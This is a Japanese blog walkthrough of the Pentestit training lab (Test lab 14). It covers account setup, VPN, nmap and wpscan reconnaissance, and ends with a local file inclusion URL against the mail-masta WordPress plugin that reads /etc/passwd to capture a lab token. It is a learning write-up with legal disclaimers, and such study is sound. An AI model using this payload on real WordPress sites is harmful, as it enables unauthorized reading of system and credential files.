「Pentestit」というLab環境で遊んでみた

「Pentestit」とは簡単に言うとセキュリティに関する攻撃の脅威やセキュリティに関する総合的な知識・知見を攻撃側の視点に立って学習するためのLab環境(CTF環境)です。無料で遊べるとのことだったのでやってみました!
2020.01.30

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

はじめに

こんにちは。大阪オフィスの林です。

「Pentestit」というサイトをご存じでしょうか?
「Pentestit」とは簡単に言うとセキュリティに関する攻撃の脅威やセキュリティに関する総合的な知識・知見を攻撃側の視点に立って学習するためのLab環境(CTF環境)です。無料で遊べるとのことだったのでやってみました!

注意点

  • 本記事およびLab環境で得た内容を不正に利用した場合、「不正アクセス行為禁止法違反」等の法律に抵触する可能性があります。
  • 本記事およびLab環境で得た内容を使用して起こるいかなる損害や損失に対して、一切の責任を負いません。
  • 本記事は攻撃の脅威やセキュリティに対する知見などを学習することを目的としており、他者/他社のサーバなどを攻撃することを目的としていません。
  • はじめかた

    Pentestitのユーザー登録

    https://lab.pentestit.ru/にアクセスします。

    トップページが表示されるので「SIGN IN」を選択します。

    「Sign up」を選択します。

    下記必要情報を入力後、「SUBMIT」を選択します。

  • EMAIL:受信可能なメールアドレスを入力
  • LOGIN:ログインに使うIDを入力
  • PASSWORD:パスワードを入力
  • PASSWORD CONFIRMATION:もう一度パスワードを入力
  • I agree to the processing of my personal data:チェック入れる
  • I agree with the Privacy Policy:チェック入れる

    「サインアップできたからメールを見てくれ」という旨のメッセージが表示されるのでメールを見ます。

    Pentestitからメールが届いているのでリンクをクリックします。

    登録したメールアドレスとパスワードを入力し「SUBMIT」を選択します。

    もともと「SIGN IN」だったところが人型のアイコンに変わっていればログインできています。

    OpenVPNの準備

    Pentestitでは予め準備されているサーバのIPアドレスに対して様々なアクションを取っていきます。そのサーバへはOpenVPNで接続した後にアクセスが出来るようになっているので、OpenVPNのセットアップをしていきます。なおOpenVPNの基本的な概要やセットアップ方法はこちらをご確認ください。 https://www.openvpn.jp/

    OpenVPNの接続に必要な情報はトップページの「HOW TO CONNECT」から確認します。

    やってみた

    こちらのYoutubeを参考に進めました。

    本日(2020年1月29日)時点でアクティブなLab環境はTest lab 14だけっぽいので、Test lab 14でやっていきます。「JOIN THE LAB」を選択します。

    lab14では、lab環境に複数埋め込まれているTokenとなるものを探し、探したTokenがあっているかをPentestisのサイト上でチェックし、合っていれば「Progress」のゲージがどんどん上がっていくというゲーム感覚で楽しめるようなlabになっていました。

    それではlab用として用意されているサーバを対象に色々アクションしていきます。

    まずは192.168.101.14に対してポートスキャンをしてみます。

    nmap 192.168.101.14

    80 143 8080のポートが空いていることが推測できます。

    PORT     STATE SERVICE
    80/tcp   open  http
    143/tcp  open  imap
    8080/tcp open  http-proxy

    次に192.168.101.15に対してポートスキャンをしてみます。

    nmap 192.168.101.15

    80が空いていることが推測できます。

    PORT   STATE SERVICE
    80/tcp open  http

    192.168.101.14 192.168.101.15とも80番が空いてるようなのでブラウザからHTTPアクセスしてみます。
    192.168.101.14site.test.labにリダイレクトされ接続エラーになりました。

    192.168.101.15はページが表示されました。

    192.168.101.14の接続エラーについてもう少し踏み込んでみます。192.168.101.14でアクセスした際、site.test.labという名前に解決され接続がエラーになっていました。site.test.labでIPを引いてみます。

    dig site.test.lab

    192.168.179.1がDNSサーバということが推測できましたが名前は解決できませんでした。

    $ dig site.test.lab
    
    ; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> site.test.lab
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12812
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 512
    ;; QUESTION SECTION:
    ;site.test.lab.                 IN      A
    
    ;; AUTHORITY SECTION:
    .                       10800   IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2020012900 1800 900 604800 86400
    
    ;; Query time: 114 msec
    ;; SERVER: 192.168.179.1#53(192.168.179.1)
    ;; WHEN: Wed Jan 29 23:51:39 DST 2020
    ;; MSG SIZE  rcvd: 117

    逆引きを調べてもレコードが無かったので、恐らく192.168.101.14(IPアドレス)で接続した時に「site.test.labにリダイレクトする」みたいなWebサーバ側での設定が入っていて、site.test.labというホスト名のURLにリダイレクトされるけど、どっちみちsite.test.labのレコードが無いから解決できなくてアクセスできないみたいな挙動になっていると推測します。
    なので「hosts」に192.168.101.14に紐づくホスト名としてsite.test.labを直書きして、もう一度192.168.101.14にHTTPアクセスしてみます。

    $ cat /etc/hosts
    127.0.0.1       localhost
    #追記
    192.168.101.14  site.test.lab

    ページが表示できました。

    次にChromeの拡張機能を使ってどのCMSで作られているか調べます。なお、拡張機能は、wappalyzerを使っています。今回アクセスしたサイトはWordpressで作成されていることが分かりました。

    WordPressということが分かったのでwpscanを使用してサイトをスキャンします。

    $ wpscan --url http://site.test.lab/ --random-user-agent -e p
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.7.6
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    (省略)
    
    [i] Plugin(s) Identified:
    
    [+] mail-masta
     | Location: http://site.test.lab/wp-content/plugins/mail-masta/
     | Latest Version: 1.0 (up to date)
     | Last Updated: 2014-09-19T07:52:00.000Z
     |
     | Found By: Urls In Homepage (Passive Detection)
     |
     | Version: 1.0 (100% confidence)
     | Found By: Readme - Stable Tag (Aggressive Detection)
     |  - http://site.test.lab/wp-content/plugins/mail-masta/readme.txt
     | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
     |  - http://site.test.lab/wp-content/plugins/mail-masta/readme.txt
    
    (省略)

    メール機能にmail-mastaというプラグインを使っているということが推測できたので、公開されている脆弱性情報と併せて見ていきます。
    https://github.com/hamkovic/Mail-Masta-Wordpress-Plugin-SQL-Injection-Vulnerability
    https://packetstormsecurity.com/files/138481/WordPress-Mail-Master-1.0-Local-File-Inclusion.html

    前述でアクセスしたhttp://site.test.lab/にローカルファイルインクルージョンの脆弱性を突くパスを指定してみます。

  • もともとのURL
    http://site.test.lab/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=/var/www/html/wordpress/wp-load.php
  • 脆弱性を突いたURL
    http://site.test.lab/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=//etc//passwd

    脆弱性を突いたURLでアクセスすると/etc/passwdの中身が見えちゃいました。

    /etc/passwdの中にTokenがあったのでコピーします。

    lab14の画面に戻り「site」を選択しTokenを貼り付け、「CHECK TOKEN」を選択します。

    「Task completed」というメッセージとともに「Progress」が5%になりました。

    下に少しスクロールすると「ACTIONS」というエリアがあるのですが、Tokenが正解だったらここに履歴が残ります。

    今回は「site」のTokenに対しての調査を実施しましたが、ほかの様々なところ(mail,ad,dbなど)に埋め込まれているTokenを調査して「Progress 100%」を目指します。

    今回のブログではここまで!

    まとめ

    今回、Youtubeを見ながらいろいろとアクションしていきました。「どうやったらこんな攻撃を思いつくんだ!」という攻撃者側の発想に驚いたり、「でも現実世界でもこういった攻撃が行われてるんだよなぁ」というようなセキュリティに対するリテラシを高めてくれたりと色々気付きのあった楽しい時間でした。
    Lab自体はこれだけで終わりではないですしいつでもできますし、世の中には「Pentestit」以外にも同じようにオンラインで学べる環境が幾つかあるようなので今後試していければと思います!

    以上、大阪オフィスの林がお送りしました!